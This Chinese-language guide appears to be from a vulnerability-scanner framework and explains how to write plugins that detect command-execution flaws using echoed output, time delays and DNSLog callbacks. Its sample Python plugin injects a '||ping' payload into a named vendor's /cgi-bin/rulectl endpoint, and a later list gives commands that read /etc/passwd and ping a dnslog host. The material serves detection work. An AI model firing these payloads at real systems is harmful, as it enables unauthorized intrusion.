• 命令执行类
    • 使用 DNSLog 检测步骤
    • 命令执行常用命令

    命令执行类


    命令执行类,根据其输出情况可分两种,有回显和无回显(命令盲注)。根据目标运行的操作系统类型,大致分为 Windows 类和 Unix 类。在编写插件的时候,主要是根据有无回显来分类,并兼容两类操作系统。

    • 有回显类

      编写该类插件检测思路为,直接在页面中输出某条有代表性的命令的执行结果。原则上不能对目标系统造成任何破坏。

      例如:

      • 输出当前的环境变量(Linux: echo $PATH, Windows: echo %path%)
      • 输出某个固定文件的内容(Linux: /etc/passwd, Windows: C:\Windows\win.ini)
      • 其它
    • 无回显类

      无回显类命令执行后返回结果不得而知,大大增加了检测难度,检测主要有两种方式:

      • 延时检测

        1. 与时间盲注类似,利用返回包时间来判断。Linux 下通过 `sleep 5` 来实现延时5秒;
        2. Windows 可以通过 `ping localhost -n 5` 来实现延时5秒。
        3. **该方法对异步命令执行类漏洞无效**。
      • 利用 DNSLog 检测(推荐)

        1. DNSLog 用于监测 DNS HTTP 访问记录,可通过命令执行,让目标主机主动
        2. 请求 DNSLog API 地址,有相应的解析记录,则可判定为存在命令执行漏洞。
        3. 通常使用 ping 命令。Linux 下还可使用 `wget`, `curl` 等有网络请求功能的命令。
        4. **该方法对无任何外网访问权限的目标无效**。

    范例插件

    西默科技 /cgi-bin/rulectl 命令执行漏洞检测

    感谢插件作者: 上善若水

    1. #!/usr/bin/env python
    2. # -*- coding:utf-8 -*-
    3. # Refer http://www.wooyun.org/bugs/wooyun-2016-0179411
    4. # __Author__ = 上善若水
    5. # _PlugName_ = ximo_rce Plugin
    6. # _FileName_ = ximo_rce.py
    7. def assign(service, arg):
    8. if service == fingerprint.ximo:
    9. return True, arg
    10. def audit(arg):
    11. # 生成一个 hash 前缀
    12. hashstr = dnslog.create_hashstr()
    13. # 根据开发者的 udomain 生成需要请求的域名地址
    14. target = dnslog.create_dns_url(hashstr)
    15. # 构造命令执行的 Payload
    16. # 本漏洞中使用 ping 命令(注意限制ping次数)
    17. url = arg + "/cgi-bin/rulectl?woo||ping%20-c%203%20{target}".format(
    18. target=target)
    19. # 发送 Payload 到目标
    20. code, head, res, rurl, log = hackhttp.http(url)
    21. # 检查是否有 DNS 解析
    22. if dnslog.check_dns_log(hashstr):
    23. security_hole(url, log=log)
    24. if __name__ == '__main__':
    25. from dummy import *
    26. audit(assign(fingerprint.ximo, "http://www.example.com/")[1])

    使用 DNSLog 检测步骤

    1. 生成一个随机的 hash 前缀
    2. 根据开发者的 udomain 生成需要请求的域名地址
    3. 构造命令执行的 Payload
    4. 利用命令执行漏洞执行 Payload
    5. 检查是否有 DNS 解析

    命令执行常用命令

    • 查看文件内容

      Linux:

      1. cat /etc/passwd

      Windows:

      1. type c:\windows\win.ini
    • 使用 ping 命令

      Linux:

      1. ping -c 3 xxxx.test.dnslog.link

      Windows:

      1. ping xxx.text.dnslog.link -n 3